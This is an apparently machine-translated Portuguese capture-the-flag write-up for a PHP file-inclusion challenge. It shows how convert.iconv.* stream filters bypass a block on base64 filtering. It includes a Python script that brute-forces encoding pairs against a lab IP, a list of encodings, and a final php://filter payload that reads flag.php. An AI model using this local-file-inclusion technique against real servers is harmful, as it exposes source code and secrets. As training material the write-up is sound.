Compartilhamento de tecnologia

Mundo de Ataque e Defesa (filtro de filtro PHP) file_include

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

Documentação oficial do filtro de conversão: https://www.php.net/manual/zh/filters.convert.php#filters.convert.iconv

Esta questão foi filtrada por causa do convert.base64-encode, então o filtro convert.iconv.* foi usado.

Ativando íconev Você pode usar o filtro de compactação convert.iconv.* sob a premissa, o que equivale a usaríconev() Processe todos os dados de streaming. Este filtro não suporta parâmetros, mas o nome da codificação de entrada/saída pode ser usado para formar o nome do filtro, como convert.iconv.<input-encoding> .<output-encoding> ou convert.iconv.<input-encoding> /<output-encoding> (A semântica de ambos os métodos de escrita é a mesma).

Use diretamente o script para gerar a codificação apropriada:

  1. import requests
  2.  
  3. in_encodings = ['UCS-4*', 'UCS-4BE', 'UCS-4LE*', 'UCS-2', 'UCS-2BE', 'UCS-2LE', 'UTF-32*', 'UTF-32BE*', 'UTF-32LE*', 'UTF-16*', 'UTF-16BE*', 'UTF-16LE*', 'UTF-7', 'UTF7-IMAP', 'UTF-8*', 'ASCII*', 'EUC-JP*', 'SJIS*', 'eucJP-win*', 'SJIS-win*', 'ISO-2022-JP', 'ISO-2022-JP-MS', 'CP932', 'CP51932', 'SJIS-mac', 'SJIS-Mobile#DOCOMO', 'SJIS-Mobile#KDDI', 'SJIS-Mobile#SOFTBANK', 'UTF-8-Mobile#DOCOMO', 'UTF-8-Mobile#KDDI-A', 'UTF-8-Mobile#KDDI-B', 'UTF-8-Mobile#SOFTBANK', 'ISO-2022-JP-MOBILE#KDDI', 'JIS', 'JIS-ms', 'CP50220', 'CP50220raw', 'CP50221', 'CP50222', 'ISO-8859-1*', 'ISO-8859-2*', 'ISO-8859-3*', 'ISO-8859-4*', 'ISO-8859-5*', 'ISO-8859-6*', 'ISO-8859-7*', 'ISO-8859-8*', 'ISO-8859-9*', 'ISO-8859-10*', 'ISO-8859-13*', 'ISO-8859-14*', 'ISO-8859-15*', 'ISO-8859-16*', 'byte2be', 'byte2le', 'byte4be', 'byte4le', 'BASE64', 'HTML-ENTITIES', '7bit', '8bit', 'EUC-CN*', 'CP936', 'GB18030', 'HZ', 'EUC-TW*', 'CP950', 'BIG-5*', "CP{949}", "CP{775}"]
  4.  
  5. out_codings = in_encodings[:]
  6. for inenc in in_encodings:
  7.     for outenc in out_codings:
  8.         url = 'http://61.147.171.105:62135/?filename=php://filter/convert.iconv.{}.{}/resource=flag.php'.format(inenc,outenc)
  9.         res = requests.get(url)
  10.         if "flag" in res.text:
  11.             print("inenc is:{},outenc is:{}".format(inenc,outenc))
  12.             print(res.text)

Use este dicionário para arrotar

  1. UCS-4*
  2. UCS-4BE
  3. UCS-4LE*
  4. UCS-2
  5. UCS-2BE
  6. UCS-2LE
  7. UTF-32*
  8. UTF-32BE*
  9. UTF-32LE*
  10. UTF-16*
  11. UTF-16BE*
  12. UTF-16LE*
  13. UTF-7
  14. UTF7-IMAP
  15. UTF-8*
  16. ASCII*
  17. EUC-JP*
  18. SJIS*
  19. eucJP-win*
  20. SJIS-win*
  21. ISO-2022-JP
  22. ISO-2022-JP-MS
  23. CP932
  24. CP51932
  25. SJIS-mac
  26. SJIS-Mobile#DOCOMO
  27. SJIS-Mobile#KDDI
  28. SJIS-Mobile#SOFTBANK
  29. UTF-8-Mobile#DOCOMO
  30. UTF-8-Mobile#KDDI-A
  31. UTF-8-Mobile#KDDI-B
  32. UTF-8-Mobile#SOFTBANK
  33. ISO-2022-JP-MOBILE#KDDI
  34. JIS
  35. JIS-ms
  36. CP50220
  37. CP50220raw
  38. CP50221
  39. CP50222
  40. ISO-8859-1*
  41. ISO-8859-2*
  42. ISO-8859-3*
  43. ISO-8859-4*
  44. ISO-8859-5*
  45. ISO-8859-6*
  46. ISO-8859-7*
  47. ISO-8859-8*
  48. ISO-8859-9*
  49. ISO-8859-10*
  50. ISO-8859-13*
  51. ISO-8859-14*
  52. ISO-8859-15*
  53. ISO-8859-16*
  54. byte2be
  55. byte2le
  56. byte4be
  57. byte4le
  58. BASE64
  59. HTML-ENTITIES
  60. 7bit
  61. 8bit
  62. EUC-CN*
  63. CP936
  64. GB18030
  65. HZ
  66. EUC-TW*
  67. CP950
  68. BIG-5*
  69. EUC-KR*
  70. UHC
  71. ISO-2022-KR
  72. Windows-1251
  73. Windows-1252
  74. CP866
  75. KOI8-R*
  76. KOI8-U*
  77. ArmSCII-8

Selecione o modo de bomba coletiva. Ainda não terminei de explodi-la e ela está pronta para uso.

dirsearch digitalizou um flag.php, o sinalizador deve estar nele

Construir carga útil:

http://61.147.171.105:62135?filename=php://filter/convert.iconv.UTF-8*.UTF-32*/resource=flag.php

Perfil pessoal

Ele se dedica à pesquisa de tecnologia há mais de 30 anos e é proficiente em diversas linguagens como java, linux, javascript, php, css, etc. estação de documentação do desenvolvedor para compartilhar alguns problemas no desenvolvimento de tecnologia para referência futura.

minhas informações de contato

Correspondência